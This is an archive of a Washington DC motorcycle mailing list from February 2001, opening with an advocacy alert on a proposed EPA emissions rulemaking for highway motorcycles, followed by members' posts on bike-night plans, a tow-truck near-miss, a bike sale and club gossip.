Keep in mind that the court decree requires new standards on off-road vehicles only. Technical talks between EPA and makers have focused solely on off-road vehicles for two years. Street riders have not been given that period of time for involvement, much less study and consultation. Federal highway motorcycle emissions haven't changed in 23 years, but if it's time to consider a change, it's time to give our community the time to study it.

Study the advanced notice.

The summary is attached below.

You can obtain HTML or PDF versions at the
Federal Register on-line by pointing your browser to the following site,
http//www.access.gpo.gov/su_docs/aces/aces140.html and then, using the
search function there, find the December 7, 2000, document titled
"Control of Emissions From Non-road Large Spark Ignition Engines, Recreational Engines (Marine and Land-Based), and Highway Motorcycles."

Know the other chess player
EPA's mandate is not to obtain a new standard that many might agree is "reasonable." EPA's mandate is to obtain the maximum gain possible considering technology and cost.

 BREAK THE CHOKE-HOLD!
 1. FIRST, ASK CONGRESS FOR HELP. Write a letter to your Congressman and two U.S. Senators immediately to inform them of this situation and to ask for their help. Let them know you are concerned that a choke-hold on highway motorcycles is being rushed into place, and you need their support to help
break the choke-hold. Use your own words or borrow as much as you'd like from this alert, but send the letters now.

 2. SECOND, SEND YOUR PUBLIC COMMENTS TO EPA. In all correspondence, refer to Docket A-2000-01, the "Control of Emissions From Non-road Large Spark Ignition Engines, Recreational Engines (Marine and Land-Based), and Highway Motorcycles."

 a. BY MAIL. Send paper copies of written comments (in duplicate if possible) to
 Margaret Borushko, U.S. EPA, National Vehicle and Fuels Emission Laboratory,
 2000 Traverwood, Ann Arbor, MI 48105; Telephone: (734) 214-4334, Fax: (734) 214-4050,
 e-mail: borushko.margaret@XXXXXX

 b. VIA E-MAIL. E-mail comments to nranprm@XXXXXX''
 In your correspondence, refer to
 Docket A-2000-01
 .
 3. THIRD, TRIPLE YOUR VOICE. Send this alert to 3 other riders you know.

 Urge them to send their comments AND join MRF by calling 202-546-0983. We
 will need all the help we can get to break the choke-hold.
 --
 **COPYRIGHT NOTICE** In accordance with Title 17 U. S. C. Section 107,
 any copyrighted work in this message is distributed under fair use
 without profit or payment to those who have expressed a prior interest
 in receiving the included information for nonprofit research and
 educational purposes only.[Ref. http//www.law.cornell.edu/uscode/17/107.shtml]

[Federal Register: December 7, 2000 (Volume 65, Number 236)]
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ENVIRONMENTAL PROTECTION AGENCY

40 CFR Parts 86, 94, 1048 and 1051

[FRL-6907-6]

 
Control of Emissions From Nonroad Large Spark Ignition Engines,
Recreational Engines (Marine and Land-Based), and Highway Motorcycles

AGENCY: Environmental Protection Agency.

ACTION: Advance notice of proposed rulemaking.

-----------------------------------------------------------------------

SUMMARY: With this advance notice of proposed rulemaking (ANPRM), we
are continuing with our process of establishing standards for nonroad
engines and vehicles that cause or contribute to air pollution. The
ANPRM addresses nonroad engines and vehicles that have yet to be
regulated by EPA, including: Large spark ignition (SI) engines such as
those used in forklifts and airport tugs; Recreational vehicles using
spark ignition engines such as off-highway motorcycles, all-terrain
vehicles, and snowmobiles; and Recreational marine diesel engines and
marine spark ignition sterndrive and inboard engines.
    These engines and vehicles contribute to ozone, carbon monoxide
(CO), and particulate matter (PM) nonattainment. We are also concerned
in some cases about personal exposure to high levels on CO, air toxics,
and PM to persons operating or close to this equipment. With this
ANPRM, we invite early input to the process to establishing standards
and programs for these nonroad sources.
    We are also seeking comment on whether EPA should pursue rulemaking
to establish more stringent emissions standards for highway
motorcycles. While standards are in place for highway motorcycles, the
current standards were established more than twenty years ago. Since
off-highway motorcycles are included this ANPRM as part of nonroad
recreational vehicles, we believe it may be appropriate to consider
standards for both types of motorcycles together.


 --=====================_4862950==_.ALT-- From dc-cycles-request Sat Feb 3 14:31:48 2001 Date: Sat, 3 Feb 2001 11:31:42 -0800 (PST) From: Tom Gimer Subject: Re: [dccycles2] Kill the Groundhog! To: Perry Coleman , twg@XXXXXX, dc-cycles@XXXXXX ahhhh, WINTER, slumbering in the open air, carries on its breath a dream ... of spring. ciao! --- Perry Coleman wrote: > Hugh, > > I didn't disagree with you... ;^) > > Perry > > p.s. Just kidding, TG! Really!! > > > >From: Hugh Caldwell > >To: dc-cycles@XXXXXX > >Subject: Re: [dccycles2] Kill the Groundhog! > >Date: Fri, 2 Feb 2001 09:04:26 -0800 (PST) > > > > > > I stand by my previous statement. > > > >On Fri, 2 Feb 2001, Perry Coleman wrote: > > > > > He plagiarized "Groundhog Day" with Bill Murray... > ;^) __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Sat Feb 3 17:36:21 2001 Date: Sat, 3 Feb 2001 13:35:13 -0800 (PST) From: Dmitri Pappa Subject: Re: Apologies... To: dc-cycles@XXXXXX >Did rebuilding your system include installing a good anti-virus scanner? Of >course, you also need to keep the signature files up to date. Most AV >vendors post updates weekly. False sense of security. The updates are posted *after* x virus has run amuck for a few days. Besides, it feels like I'm giving the bulley my lunch money.. When you buy a computer, install the software yourself. Keep a copy of your important stuff on floppy, or buy a cd burner ($150). If something does happen, you'll be back in action in a day or less. I haven't been hit with a virus for the past 4 years with no protection. It's mostly from common sense. Sorry for the OT. Pet peeve of mine.. Dmitri __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Sun Feb 4 19:38:47 2001 From: "mobacc" To: "DC-Cycles" Subject: A Guinness Record? Date: Sun, 4 Feb 2001 19:38:32 -0500 Have to share a smile -- *Somehow* got involved with de-linting the hook patches of the velcro on the 'Stitch and boots -- and came up with a pile that would have done Rapunzel proud. (Just ran a small, skinny nail around the hooks and picked off what came up -- black fuzz and threads lurked in abundance.) Popping flaps no more? Bill S. / DC 99 VN750 --> bolted, not hooked Join the AMA. Help protect my riding fun. From dc-cycles-request Sun Feb 4 23:03:05 2001 Date: Sun, 04 Feb 2001 23:02:26 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: More VA bike/car tax news http://washingtonpost.com/wp-dyn/articles/A26312-2001Feb4.html RICHMOND, Feb. 4 M-^V The General Assembly's confrontation with Gov. James S. Gilmore III (R) over car-tax relief intensified today as the Senate Finance Committee voted to freeze the tax cut in midstream, propelling the entire legislature along a collision course with the executive. ______________________________________ Mike Troutman mike@XXXXXX http://www.troutman.org From dc-cycles-request Sun Feb 4 23:35:02 2001 Date: Sun, 04 Feb 2001 23:34:24 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: American Motorcyclist WVA Article For those of you fellow AMA members - have you read the Ride Guide to West Virginia in the February American Motorcyclist? I have ridden several of the roads mentioned, and they do a great job of describing how fun the state can be. They have some info on the website : http://www.amadirectlink.com/magazine/2001/rideguide/wvguide.htm I will see if I can scan the article in and post it for those that didn't see a copy. I'd love to plan a weekend ride through the state this Spring. _____________________________________ Mike Troutman mike@XXXXXX http://www.troutman.org/vfr '97 Honda VFR 750 From dc-cycles-request Sun Feb 4 23:36:21 2001 Date: Sun, 04 Feb 2001 23:35:44 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: Article is online already.... On the WV article - I didn't notice this link the first time through. The complete article : http://www.amadirectlink.com/magazine/2001/story2feb.html _____________________________________ Mike Troutman mike@XXXXXX http://www.troutman.org/vfr '97 Honda VFR 750 From dc-cycles-request Mon Feb 5 06:45:06 2001 Date: Mon, 05 Feb 2001 06:39:28 -0500 From: "William J. Huson" To: mobacc CC: DC-Cycles Subject: Re: A Guinness Record? Wow! You must be... erm... so proud :-) Bill mobacc wrote: > Have to share a smile -- *Somehow* got involved with de-linting the hook > patches of the velcro on the 'Stitch and boots -- and came up with a pile > that would have done Rapunzel proud. (Just ran a small, skinny nail around > the hooks and picked off what came up -- black fuzz and threads lurked in > abundance.) Popping flaps no more? > > Bill S. / DC > 99 VN750 --> bolted, not hooked > Join the AMA. Help protect my riding fun. From dc-cycles-request Mon Feb 5 08:02:15 2001 From: "Todd Peer" To: Subject: The poetic meanderings of Gimer Date: Mon, 5 Feb 2001 08:01:56 -0500 What are you SMOKING....wait, never mind. I already know... > From: Tom Gimer > > ahhhh, WINTER, slumbering in the open air, carries on its > breath a dream ... of spring. ciao! From dc-cycles-request Mon Feb 5 08:06:44 2001 From: "Todd Peer" To: Subject: My Bros Place As Venue Date: Mon, 5 Feb 2001 08:06:26 -0500 This is a good suggestion for intown meeting. My Brothers Place is located near CapHill and another mainstay, Murphys Irish Pub. It's a dive but....it's easy to find in D.C.. I think they even serve Sam Adams, so Glenn Dysart can show up too ;-) T > From: "deus exMachina" > > Hey people.. > > I'll suggest "My Brothers Place" for now and depending on how the response > goes maybe we won't need that much space and we could talk about another > location downtown.. The weather's not looking so great for the next bit, > but maybe next weekend we could make something happen. > > Respond private or public.. all riders welcome.. > > Trevor From dc-cycles-request Mon Feb 5 08:46:05 2001 Date: Mon, 5 Feb 2001 05:45:55 -0800 (PST) From: Mark Kitchell Subject: Re: DC Ride To: deus exMachina , dc-cycles@XXXXXX, dccycles2@XXXXXX Hi Deus: That is a great idea...a ride/bike night in DC with those of us who are comfortable (or actually LOVE) riding in DC. DC at night on a warm summer night can be a really wonderful ride. My favorites section are cruising by the monuments and the Kennedy Center on Rock Creek, bombing through the tunnel under the capital, and jetting up 18th Street through Adams Morgan. Another bar idea (I think we should mix it up) is Asylum. Asylum is DC's only real biker bar, with little bit of parking on 18th Street and even a video camera to watch your bike while you are at the bar. WARNING: Asylum is a dive! Punk/goth atmosphere but very friendly and relatively cheap for Adams Morgan. Chuck and I are organizing a Bike Night for DC later this year but I like the idea of a smaller group doing something like this. Let me know if you need any help. Mark --- deus exMachina wrote: > Hey people.. > > I've been on the list for a few months, thanks to > Corbin who I met through > some friends.. I went on a couple of good rides too > and met Brian, Laura > and a few other folks.. I remember a little while > back some talk of a bike > night in dc.. I've been living here for a couple of > years and ride all > around town. I've had my bike knocked over once > myself and re-ended a > taxi.. I know alot of riders who never enter the > city cause of various > reasons, but for any off season riders who would > venture into dc I can > suggest a few places where parking and traffic > wouldn't be a problem. > > Depending on how much space you're looking for there > are a few places that > would accomodate a group of almost any size.. I > like to ride so I could > meet pretty much anywhere but if people are > interested I'll throw a couple > maps on a response mail and plan a short route, on > good road, around dc for > those who would like to ride too. So.. If I get 1 > or 38 responses I can > make it a go. Washington really is a pretty town to > ride in if you're > willing to get yourself in.. > > I'll suggest "My Brothers Place" for now and > depending on how the response > goes maybe we won't need that much space and we > could talk about another > location downtown.. The weather's not looking so > great for the next bit, > but maybe next weekend we could make something > happen. > > Respond private or public.. all riders welcome.. > > Trevor > > K1 > > > > __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 5 09:05:27 2001 From: Danny Thompson To: "Dc-Cycles (E-mail)" Subject: RE: DC Ride Date: Mon, 5 Feb 2001 09:07:31 -0500 Encoding: 97 TEXT I agree a ride and a bike night is a great idea, I am not sure a ride together with a bike night is such a good idea. I don't know how good of an idea it is to ride to a bar, imbibe and then ride home. Danny #903 Novice (WERA, CCS) '98 VTR '00 SV (For SALE) www.onewayracing.org Proudly Sponsored by: Blalock Cycle www.blalockcycle.com, Shen Valley Trailers www.shenvalleywarrenton.com On Monday, February 05, 2001 8:46 AM, Mark Kitchell [SMTP:markkitchell@XXXXXX] wrote: > Hi Deus: > > That is a great idea...a ride/bike night in DC with > those of us who are comfortable (or actually LOVE) > riding in DC. DC at night on a warm summer night can > be a really wonderful ride. My favorites section are > cruising by the monuments and the Kennedy Center on > Rock Creek, bombing through the tunnel under the > capital, and jetting up 18th Street through Adams > Morgan. > > Another bar idea (I think we should mix it up) is > Asylum. Asylum is DC's only real biker bar, with > little bit of parking on 18th Street and even a video > camera to watch your bike while you are at the bar. > WARNING: Asylum is a dive! Punk/goth atmosphere but > very friendly and relatively cheap for Adams Morgan. > > Chuck and I are organizing a Bike Night for DC later > this year but I like the idea of a smaller group doing > something like this. Let me know if you need any > help. > > Mark > --- deus exMachina wrote: > > Hey people.. > > > > I've been on the list for a few months, thanks to > > Corbin who I met through > > some friends.. I went on a couple of good rides too > > and met Brian, Laura > > and a few other folks.. I remember a little while > > back some talk of a bike > > night in dc.. I've been living here for a couple of > > years and ride all > > around town. I've had my bike knocked over once > > myself and re-ended a > > taxi.. I know alot of riders who never enter the > > city cause of various > > reasons, but for any off season riders who would > > venture into dc I can > > suggest a few places where parking and traffic > > wouldn't be a problem. > > > > Depending on how much space you're looking for there > > are a few places that > > would accomodate a group of almost any size.. I > > like to ride so I could > > meet pretty much anywhere but if people are > > interested I'll throw a couple > > maps on a response mail and plan a short route, on > > good road, around dc for > > those who would like to ride too. So.. If I get 1 > > or 38 responses I can > > make it a go. Washington really is a pretty town to > > ride in if you're > > willing to get yourself in.. > > > > I'll suggest "My Brothers Place" for now and > > depending on how the response > > goes maybe we won't need that much space and we > > could talk about another > > location downtown.. The weather's not looking so > > great for the next bit, > > but maybe next weekend we could make something > > happen. > > > > Respond private or public.. all riders welcome.. > > > > Trevor > > > > K1 > > > > > > > > > > > __________________________________________________ > Get personalized email addresses from Yahoo! Mail - only $35 > a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 5 09:08:39 2001 Date: Mon, 5 Feb 2001 06:08:34 -0800 (PST) From: Mark Kitchell Subject: Re: DC Ride To: Mark Kitchell , deus exMachina , dc-cycles@XXXXXX, dccycles2@XXXXXX PS: All the mistakes in this email are due to a lack of coffee and two late nights this weekend (-: --- Mark Kitchell wrote: > Hi Deus: > > That is a great idea...a ride/bike night in DC with > those of us who are comfortable (or actually LOVE) > riding in DC. DC at night on a warm summer night > can > be a really wonderful ride. My favorites section > are > cruising by the monuments and the Kennedy Center on > Rock Creek, bombing through the tunnel under the > capital, and jetting up 18th Street through Adams > Morgan. > > Another bar idea (I think we should mix it up) is > Asylum. Asylum is DC's only real biker bar, with > little bit of parking on 18th Street and even a > video > camera to watch your bike while you are at the bar. > WARNING: Asylum is a dive! Punk/goth atmosphere but > very friendly and relatively cheap for Adams Morgan. > > Chuck and I are organizing a Bike Night for DC later > this year but I like the idea of a smaller group > doing > something like this. Let me know if you need any > help. > > Mark > --- deus exMachina wrote: > > Hey people.. > > > > I've been on the list for a few months, thanks to > > Corbin who I met through > > some friends.. I went on a couple of good rides > too > > and met Brian, Laura > > and a few other folks.. I remember a little while > > back some talk of a bike > > night in dc.. I've been living here for a couple > of > > years and ride all > > around town. I've had my bike knocked over once > > myself and re-ended a > > taxi.. I know alot of riders who never enter the > > city cause of various > > reasons, but for any off season riders who would > > venture into dc I can > > suggest a few places where parking and traffic > > wouldn't be a problem. > > > > Depending on how much space you're looking for > there > > are a few places that > > would accomodate a group of almost any size.. I > > like to ride so I could > > meet pretty much anywhere but if people are > > interested I'll throw a couple > > maps on a response mail and plan a short route, on > > good road, around dc for > > those who would like to ride too. So.. If I get > 1 > > or 38 responses I can > > make it a go. Washington really is a pretty town > to > > ride in if you're > > willing to get yourself in.. > > > > I'll suggest "My Brothers Place" for now and > > depending on how the response > > goes maybe we won't need that much space and we > > could talk about another > > location downtown.. The weather's not looking so > > great for the next bit, > > but maybe next weekend we could make something > > happen. > > > > Respond private or public.. all riders welcome.. > > > > Trevor > > > > K1 > > > > > > > > > > > __________________________________________________ > Get personalized email addresses from Yahoo! Mail - > only $35 > a year! http://personal.mail.yahoo.com/ __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 5 09:15:22 2001 Date: Mon, 5 Feb 2001 06:15:17 -0800 (PST) From: Mark Kitchell Subject: RE: DC Ride To: Danny Thompson , "Dc-Cycles \(E-mail\)" Danny: That is a great point. CHuck and I have discussed this before, as everyone rides to our Bike Nights as well. We hold them at bars because those places will provide us with parking, food, etc. I do think that in the end, each of us is personally responsible for what we do, and should plan accordingly. There is nothing to prevent someone from riding to a bar, drinking water or one beer (as I do) and leaving 100% sober. Additionally, and more importantly, is the 'group's' responsibility towards their fellow riders, friends, general public, etc. On any ride, Bike Night, etc. I am on, if someone is impaired, I will take their keys. Chuck and I would do that at Bike Night (he actually took my keys one night...but just to be safe as I was NOT going to ride). Riding to a bar does not have to mean getting wasted. All these places serve food, etc. But thanks Danny for raising a GREAT point. Mark --- Danny Thompson wrote: > I agree a ride and a bike night is a great idea, I > am not sure a ride together > with a bike night is such a good idea. I don't know > how good of an idea it is > to ride to a bar, imbibe and then ride home. > > Danny > #903 Novice (WERA, CCS) > '98 VTR > '00 SV (For SALE) > www.onewayracing.org > > Proudly Sponsored by: > Blalock Cycle www.blalockcycle.com, Shen Valley > Trailers > www.shenvalleywarrenton.com > > On Monday, February 05, 2001 8:46 AM, Mark Kitchell > [SMTP:markkitchell@XXXXXX] wrote: > > Hi Deus: > > > > That is a great idea...a ride/bike night in DC > with > > those of us who are comfortable (or actually LOVE) > > riding in DC. DC at night on a warm summer night > can > > be a really wonderful ride. My favorites section > are > > cruising by the monuments and the Kennedy Center > on > > Rock Creek, bombing through the tunnel under the > > capital, and jetting up 18th Street through Adams > > Morgan. > > > > Another bar idea (I think we should mix it up) is > > Asylum. Asylum is DC's only real biker bar, with > > little bit of parking on 18th Street and even a > video > > camera to watch your bike while you are at the > bar. > > WARNING: Asylum is a dive! Punk/goth atmosphere > but > > very friendly and relatively cheap for Adams > Morgan. > > > > Chuck and I are organizing a Bike Night for DC > later > > this year but I like the idea of a smaller group > doing > > something like this. Let me know if you need any > > help. > > > > Mark > > --- deus exMachina wrote: > > > Hey people.. > > > > > > I've been on the list for a few months, thanks > to > > > Corbin who I met through > > > some friends.. I went on a couple of good rides > too > > > and met Brian, Laura > > > and a few other folks.. I remember a little > while > > > back some talk of a bike > > > night in dc.. I've been living here for a > couple of > > > years and ride all > > > around town. I've had my bike knocked over once > > > myself and re-ended a > > > taxi.. I know alot of riders who never enter > the > > > city cause of various > > > reasons, but for any off season riders who would > > > venture into dc I can > > > suggest a few places where parking and traffic > > > wouldn't be a problem. > > > > > > Depending on how much space you're looking for > there > > > are a few places that > > > would accomodate a group of almost any size.. I > > > like to ride so I could > > > meet pretty much anywhere but if people are > > > interested I'll throw a couple > > > maps on a response mail and plan a short route, > on > > > good road, around dc for > > > those who would like to ride too. So.. If I > get 1 > > > or 38 responses I can > > > make it a go. Washington really is a pretty > town to > > > ride in if you're > > > willing to get yourself in.. > > > > > > I'll suggest "My Brothers Place" for now and > > > depending on how the response > > > goes maybe we won't need that much space and we > > > could talk about another > > > location downtown.. The weather's not looking > so > > > great for the next bit, > > > but maybe next weekend we could make something > > > happen. > > > > > > Respond private or public.. all riders > welcome.. > > > > > > Trevor > > > > > > K1 > > > > > > > > > > > > > > > > > > __________________________________________________ > > Get personalized email addresses from Yahoo! Mail > - only $35 > > a year! http://personal.mail.yahoo.com/ > __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 5 09:39:17 2001 Date: Mon, 05 Feb 2001 09:33:40 -0500 From: "William J. Huson" To: Mark Kitchell CC: Danny Thompson , "Dc-Cycles (E-mail)" Subject: Re: DC Ride And there is an *image* problem. Cagers and other citizens see a buncha bikers gathered at a bar and shake their heads, never surprised when they pick up a newspaper and read about a motorcyclist splatting on the highway. But I can't think of a cool, dry place to gather as an alternative. Maybe Matthew could arrange a bike night at his church, but that would be risky. If I showed up, lightening may strike, not to mention the expected roof caving in etc etc... :-) So for now, Mark's advice works. Be responsible, and be involved. Temper your own intake, and don't let a bro/sis blast off with a load on. Bill Mark Kitchell wrote: > Danny: > > That is a great point. CHuck and I have discussed > this before, as everyone rides to our Bike Nights as > well. We hold them at bars because those places will > provide us with parking, food, etc. > > I do think that in the end, each of us is personally > responsible for what we do, and should plan > accordingly. There is nothing to prevent someone from > riding to a bar, drinking water or one beer (as I do) > and leaving 100% sober. > > Additionally, and more importantly, is the 'group's' > responsibility towards their fellow riders, friends, > general public, etc. On any ride, Bike Night, etc. I > am on, if someone is impaired, I will take their keys. > Chuck and I would do that at Bike Night (he actually > took my keys one night...but just to be safe as I was > NOT going to ride). > > Riding to a bar does not have to mean getting wasted. > All these places serve food, etc. But thanks Danny > for raising a GREAT point. > From dc-cycles-request Mon Feb 5 09:42:18 2001 Date: Mon, 05 Feb 2001 09:35:45 -0500 From: "Onur Topac" To: , Subject: Re: OH...MY...GOD Actually the CB750's gone but I do have an 84 Magna V30 (500cc) for sale. New tires, seat, tune up, solid brakes, 24K on the clock, windshield, bags, $750. Any that are interested please contact me off-list. Also looking for a clean Interceptor 750. Onur '84 Magna V30 "Rocky" >>> 02/02/01 04:19PM >>> Simple solution.....DON'T get pregnant. It's worked for me so far. lol Now if I could just AFFORD a motorcycle. :o( Onur, you still got that 750? From dc-cycles-request Mon Feb 5 10:01:55 2001 From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Mon, 05 Feb 2001 10:01:49 -0500 Subject: How a tow-truck saves my skin On Sunday I had an interesting afternoon after leaving church. I was stopped on a 4 lane road (no divider) waiting to make a left hand turn. The road (Backlick in Springfield) curves gently left but it's enough of a curve that you can only see about 40 yards. If you're driving the speed limit (35) then it's absolutely no problem to react to traffic like me. The tow truck behind me came to a stop. But a SUV'er wasn't bothering to pay attention and plowed into the tow truck which in turn grew larger in my mirrors. The tow truck driver thankfully jerked his wheel right so he only gave me a glancing blow. Somehow in the fracus I hit the kill switch and had the presense of mind to stop the oncoming traffic and push my bike across onto the side-street. I stayed upright through it all and only thing I have to show for the incident is some scrapped paint on the side bodywork and a bent licent plate holder and tag. The SUV wasn't so fortunate: his engine, radiator and grill took the truck's tow-bar head-on. Mercifully that bar exists or else the nice little knife edge of the bed would have sliced into the car but good. You know, I'm no fan of excessive legislation but by some means we have to come up with a better profile for those flat-bed tow trucks. The rear should hinge up or something so an impacting car should not suffer the guillotine manuver. And for bikes it's worse. I don't think any of us would appreciate it's effect on our necks which is where it's positioned. If the AMA/Abate wants to beat their drum about something it should be things like this. I am very thankful that God put that tow-truck behind me. If the SUV had tagged me, I might not be typing this. -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Mon Feb 5 10:15:51 2001 Date: Mon, 5 Feb 2001 07:15:47 -0800 (PST) From: Tom Gimer Subject: Re: The poetic meanderings of Gimer To: Todd Peer , dc-cycles@XXXXXX --- Todd Peer wrote: > What are you SMOKING....wait, never mind. I already > know... a. i have no idea what you're referring to; b. i've seen groundhog day enough times that i know the script by heart (even though i did foul up the last quote a little bit); c. what are you doing out of your whiskey bottle? get back in there! > > From: Tom Gimer > > > > ahhhh, WINTER, slumbering in the open air, carries on > > its breath a dream ... of spring. ciao! the correct line is "smiling face" rather "breath" __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 5 10:18:29 2001 From: "Smith, Steven" To: "'dc-cycles@XXXXXX'" Subject: RE: AMA finally makes a release Date: Mon, 5 Feb 2001 10:18:03 -0500 As you stated, Admiral, wish that they had cleaned up this mess sooner. Still they showed better faith than when they circled the wagons for the Roger Edmondson fiasco. It's hard to lay complete fault at their feet. What made Thornton think he could get away with such an easily contradicted lie? Then again, I look forward to Rolling Thunder every year and the statistically anomalous number of Viet Nam vets in that crowd. What a joke. One jackass sneering at my "rice burner" couldn't tell me the eligibility period for combat stripes or the duties of a Vector Control Officer. MC Happy (It's a "kidney pie burner", you pathologically inadequate moron!) Peoples Republic of Alexandria MRF 1012503, AMA 572649, MARRC 2567, RAT 79802 1998 T595 Daytona, call her "Boudicca" > -----Original Message----- > > The AMA finally made a public comment about the conditions behind former > President Thornton's retirement / removal. > > http://www.ama-cycle.org/releases/a01007.html > > They point out that they do not publicly comment on personnel matters. But > since this had to do with their president, someone who represents the whole > association, they should have come clean sooner (IMHO). However, I am glad > that once they learned of the problem, they did something about it, and not > tried to cover it up like with their previous problems. Screw-ups do happen. > Mistakes do happen. It's how those situations are handled that shows how > good/bad the organization itself is. > > This time I'd give them a "Fair." They got rid of him, but kept quiet. > > Louis From dc-cycles-request Mon Feb 5 10:20:25 2001 From: "deus exMachina" To: "Dc-Cycles (E-mail)" Subject: RE: DC Ride Date: Mon, 5 Feb 2001 10:20:20 -0500 I was thinking a bar/restaurant is a good meeting place because of parking and food for those are hungry. We can meet sit down and talk as we wait for other riders to show up.. On another note I know the owners of both "My Brothers Place" and "Emerald Isle" next door and I've already talked to them about getting some bikes in there and both places said I should definately do it. My brothers place is good cause you can look out the patio windows and watch the bikes. It looks like we have 5 or 6 people interested in riding already, so I'll get a route map set up. Riders can mail me suggestions and I'll build a ride around them.. All we need now is a nice warm day.. > -----Original Message----- > From: Mark Kitchell [mailto:markkitchell@XXXXXX] > Sent: Monday, February 05, 2001 9:15 AM > To: Danny Thompson; Dc-Cycles (E-mail) > Subject: RE: DC Ride > > > Danny: > > That is a great point. CHuck and I have discussed > this before, as everyone rides to our Bike Nights as > well. We hold them at bars because those places will > provide us with parking, food, etc. > > I do think that in the end, each of us is personally > responsible for what we do, and should plan > accordingly. There is nothing to prevent someone from > riding to a bar, drinking water or one beer (as I do) > and leaving 100% sober. > > Additionally, and more importantly, is the 'group's' > responsibility towards their fellow riders, friends, > general public, etc. On any ride, Bike Night, etc. I > am on, if someone is impaired, I will take their keys. > Chuck and I would do that at Bike Night (he actually > took my keys one night...but just to be safe as I was > NOT going to ride). > > Riding to a bar does not have to mean getting wasted. > All these places serve food, etc. But thanks Danny > for raising a GREAT point. > > Mark > --- Danny Thompson wrote: > > I agree a ride and a bike night is a great idea, I > > am not sure a ride together > > with a bike night is such a good idea. I don't know > > how good of an idea it is > > to ride to a bar, imbibe and then ride home. > > > > Danny > > #903 Novice (WERA, CCS) > > '98 VTR > > '00 SV (For SALE) > > www.onewayracing.org > > > > Proudly Sponsored by: > > Blalock Cycle www.blalockcycle.com, Shen Valley > > Trailers > > www.shenvalleywarrenton.com > > > > On Monday, February 05, 2001 8:46 AM, Mark Kitchell > > [SMTP:markkitchell@XXXXXX] wrote: > > > Hi Deus: > > > > > > That is a great idea...a ride/bike night in DC > > with > > > those of us who are comfortable (or actually LOVE) > > > riding in DC. DC at night on a warm summer night > > can > > > be a really wonderful ride. My favorites section > > are > > > cruising by the monuments and the Kennedy Center > > on > > > Rock Creek, bombing through the tunnel under the > > > capital, and jetting up 18th Street through Adams > > > Morgan. > > > > > > Another bar idea (I think we should mix it up) is > > > Asylum. Asylum is DC's only real biker bar, with > > > little bit of parking on 18th Street and even a > > video > > > camera to watch your bike while you are at the > > bar. > > > WARNING: Asylum is a dive! Punk/goth atmosphere > > but > > > very friendly and relatively cheap for Adams > > Morgan. > > > > > > Chuck and I are organizing a Bike Night for DC > > later > > > this year but I like the idea of a smaller group > > doing > > > something like this. Let me know if you need any > > > help. > > > > > > Mark > > > --- deus exMachina wrote: > > > > Hey people.. > > > > > > > > I've been on the list for a few months, thanks > > to > > > > Corbin who I met through > > > > some friends.. I went on a couple of good rides > > too > > > > and met Brian, Laura > > > > and a few other folks.. I remember a little > > while > > > > back some talk of a bike > > > > night in dc.. I've been living here for a > > couple of > > > > years and ride all > > > > around town. I've had my bike knocked over once > > > > myself and re-ended a > > > > taxi.. I know alot of riders who never enter > > the > > > > city cause of various > > > > reasons, but for any off season riders who would > > > > venture into dc I can > > > > suggest a few places where parking and traffic > > > > wouldn't be a problem. > > > > > > > > Depending on how much space you're looking for > > there > > > > are a few places that > > > > would accomodate a group of almost any size.. I > > > > like to ride so I could > > > > meet pretty much anywhere but if people are > > > > interested I'll throw a couple > > > > maps on a response mail and plan a short route, > > on > > > > good road, around dc for > > > > those who would like to ride too. So.. If I > > get 1 > > > > or 38 responses I can > > > > make it a go. Washington really is a pretty > > town to > > > > ride in if you're > > > > willing to get yourself in.. > > > > > > > > I'll suggest "My Brothers Place" for now and > > > > depending on how the response > > > > goes maybe we won't need that much space and we > > > > could talk about another > > > > location downtown.. The weather's not looking > > so > > > > great for the next bit, > > > > but maybe next weekend we could make something > > > > happen. > > > > > > > > Respond private or public.. all riders > > welcome.. > > > > > > > > Trevor > > > > > > > > K1 > > > > > > > > > > > > > > > > > > > > > > > > > __________________________________________________ > > > Get personalized email addresses from Yahoo! Mail > > - only $35 > > > a year! http://personal.mail.yahoo.com/ > > > > > __________________________________________________ > Get personalized email addresses from Yahoo! Mail - only $35 > a year! http://personal.mail.yahoo.com/ > From dc-cycles-request Mon Feb 5 10:21:29 2001 Date: Mon, 05 Feb 2001 10:15:47 -0500 From: "William J. Huson" To: Matthew Patton CC: dc-cycles@XXXXXX Subject: Re: How a tow-truck saves my skin Actually, bump bars on the ass end of trucks is legsilated. Note that all tractor trailers have a drop bar to prevent cars from submarining under the trailer. Of course, that oes nothing for bikes except provide a handy piece of steel bar to closeline oneself on. Room for improvement. And side impacts aren't protected either. I've seen a few de-roofed cars that ran into a the side of a truck. You were fortunate. After seeing my nieghbors girl's crunched car arrive on a flatbed that morning, and then having you show up with your tale of terror, I hibernated in the house all day. Now I have to go play in the snow with all those careless jerks - what fun. Bill Matthew Patton wrote: > On Sunday I had an interesting afternoon after leaving church. I was stopped on a 4 lane road (no divider) waiting to make a left hand turn. The road (Backlick in Springfield) curves gently left but it's enough of a curve that you can only see about 40 yards. If you're driving the speed limit (35) then it's absolutely no problem to react to traffic like me. The tow truck behind me came to a stop. But a SUV'er wasn't bothering to pay attention and plowed into the tow truck which in turn grew larger in my mirrors. The tow truck driver thankfully jerked his wheel right so he only gave me a glancing blow. Somehow in the fracus I hit the kill switch and had the presense of mind to stop the oncoming traffic and push my bike across onto the side-street. I stayed upright through it all and only thing I have to show for the incident is some scrapped paint on the side bodywork and a bent licent plate holder and tag. > > The SUV wasn't so fortunate: his engine, radiator and grill took the truck's tow-bar head-on. Mercifully that bar exists or else the nice little knife edge of the bed would have sliced into the car but good. You know, I'm no fan of 